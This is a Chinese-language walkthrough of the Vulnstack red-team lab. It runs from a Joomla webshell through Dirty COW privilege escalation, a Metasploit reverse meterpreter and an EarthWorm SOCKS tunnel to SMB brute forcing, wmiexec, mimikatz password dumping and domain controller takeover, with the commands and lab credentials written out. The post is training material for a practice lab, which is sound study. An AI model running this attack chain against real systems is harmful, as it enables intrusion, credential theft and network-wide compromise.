本文来自“白帽子社区知识星球”-原创文章
作者:Snakin
网络拓扑图(仅供参考)
攻击机:
kali ip:192.168.111.5
靶机:
web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100
web1-ubuntu ip: 192.168.93.120
PC ip: 192.168.93.30
win 2008 ip:192.168.93.20
win 2012 ip:192.168.93.10
端口扫描:
nmap -sS 192.168.111.10
发现三个开放端口:22,80,3306
80端口利用
发现是一个joomla搭建的网站
Joomla是一套全球知名的内容管理系统,是使用PHP语言加上MySQL数据库所开发的 软件系统。
Kali Linux中有一个漏洞扫描器叫做Joomscan,专门用于查找Joomla中的漏洞。
apt install joomscan
进行扫描
joomscan -u 192.168.111.10
这里我们发现了一个后台地址和配置文件
从配置文件中我们可以得到数据库账号密码 testuser/cvcvgjASD!@ 和库名等信息
远程登录MySQL
但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码
那么如何得到加密的密码呢?我们可以再joomla的官方网站找到思路
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
我们插入它的示例代码就可以添加管理员 admin2/secret
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`,
`lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA41
99', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
利用新建用户登录后台,写入木马到 shell.php
Bypass disable_function
蚁剑连接,路径 http://192.168.111.10/templates/beez3/shell.php
尝试执行命令,发现 ret=127 应该是存在disable_function,可以用LD_PRELOAD绕 过,这里直接利用蚁剑插件,它会上传一个 .antproxy.php ,我们创建副本,将文件更改为 .antproxy.php 即可
内网信息搜集
ifconfig 发现一个网段192.168.93.0/24 和 一个IP地址
192.168.93.120
cat /etc/issue #查看系统名称
Ubuntu 16.04.6 LTS n l
cat /etc/*release #查看linux发行信息
uname -a #查看内核版本
cat /proc/version #查看内核信息
cat /etc/passwd #存放用户名信息,没有密码信息
cat /etc/shadow #存放用户名密码信息,密码被加密,只要root用户才能读取
可以发现这是一个内网ip,且我们本身的ip并没有出现
继续进行信息搜集,在 /tmp/mysql 中发现一组用户密码,结合之前端口开放情况, 猜测可能是ssh凭证
我们使用ssh连接
也就是说该主机才是我们ip所在的主机,ubuntu则是通过nginx反向代理到了centos主机。
反向代理(Reverse Proxy)方式是指以代理服务器来接受Internet上的连接请求,然后将请求转发给内部网络上的服务器。
至此我们已经拿下两台主机
web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100
web1-ubuntu ip: 192.168.93.120
脏牛提权
由于目前主机权限较低,为了进一步利用,我们需要对其进行提权,查看一下centos 的内核版本
[wwwuser@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.32-431.el6.x86_64 #1 SMP Fri Nov
22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
使用脏牛提权:
exp下载:https://github.com/FireFart/dirtycow
CVE-2016-5195
原理:linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利
用此漏洞来获取高权限,对只读内存映射进行访问。竞争条件,指的是任务执
行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,
利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
影响版本:
Centos7 /RHEL7 3.10.0-327.36.3.el7
2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
先将exp上传到centos可执行目录内
编译:
gcc -pthread dirty.c -o dirty -lcrypt
移除原本的 passwd.bak 文件
rm -rf /tmp/passwd.bak
执行编译后的文件,并设置密码
./dirty 123456
成功提权
MSF上线
use exploit/multi/script/web_delivery
set target 7 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.5
set lport 4444
exploit
此时我们在目标机上运行该命令
获得meterpreter
存活主机探测
先添加路由,把meterpreter 放在后台,进行存活主机探测。
run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit
得到了三台TEST域的windows主机
192.168.93.20 windows server 2008
192.168.93.30 windows 7
192.168.93.10 windows server 2012
尝试爆破一下windows server 2008的本地管理员
use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run
smb模块没有爆出来,我们利用其他软件试试
Sock代理
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还 需要搭建socks代理。.earthworm搭建socks5反向代理服务 是为了让kali(攻击者) 的程序进入内网,可以扫描内网主机信息等。
https://github.com/idlefire/ew
在kali上执行
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
#将1080端口监听到的本地数据转发到 web服务器的1234端口
# 通过1080端口,将本地流量转发出去
#rcsocks、rssocks 用于反向连接
#ssocks 用于正向连接
# -l 指定本地监听的端口
# -e 指定要反弹到的机器端口
# -d 指定要反弹到机器的IP
# -f 指定要主动连接的机器 ip
# -g 指定要主动连接的机器端口
# -t 指定超时时长,默认为 1000
之后将其上传到centos,执行
./ew_for_linux64 -s rssocks -d 192.168.111.5 -e 1234
#192.168.111.5 是攻击者kali的IP地址
将socks5 服务器指向 1080端口
vim /etc/proxychains.conf
此时已经能够成功ping通内网,我们利用hydra再尝试一下爆破
proxychains hydra -l administrator -P /tmp/top1000.txt
smb://192.168.93.20
成功!
wmiexec连接win主机
wmi 出现在所有的 windows 操作系统中,由一组强大的工具集合组成,用于管理本 地或远程的 windows 系统。攻击者使用 wmi 攻击时 windows 系统默认不会在日志中 记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
安装:
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
连接win 2008:
proxychains python3 wmiexec.py -debug
'administrator:[email protected]'
mimikatz密码抓取
tasklist /V 查看进程(显示对应用户),发现TEST域进程,可以尝试抓密码。
使用 smbclient 通过代理连接 windows server 2008 上传mimikatz.exe文件
proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
下载地址:
https://github.com/gentilkiwi/mimikatz/releases
之后利用wmi抓取密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
"exit" > log.log
得到 zxcASDqw123!!
此时我们还需要获得域控的ip,先获得win2008的ip
再ping一下域名服务器
也就是说域控信息:
ip:192.168.93.10
administrator/zxcASDqw123!!
拿下域控
可以使用wmiexec连接
proxychains python3 wmiexec.py
‘TEST.ORG/Administrator:[email protected]’
或者使用ipc连接
IPC$(Internet Process Connection)是共享“命名管道”的资源,它是为了让进程
间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远
程管理计算机和查看计算机的共享资源时使用。利用IPC$连接者可以与目标主
机建立一个连接,得到目标主机上的目录结构、用户列表等信息。
利用条件:
1. 管理员开启了默认共享
2. 139或445端口开放
net use \192.168.93.10admin$ zxcASDqw123!!
/user:testadministrato
1.脏牛提权
2.sock代理
3.wmiexec
如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。
▼扫码关注白帽子社区公众号&加入知识星球▼
原文始发于微信公众号(白帽子社区):靶场实战 | ATT&CK实战 Vulnstack 红队(三)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论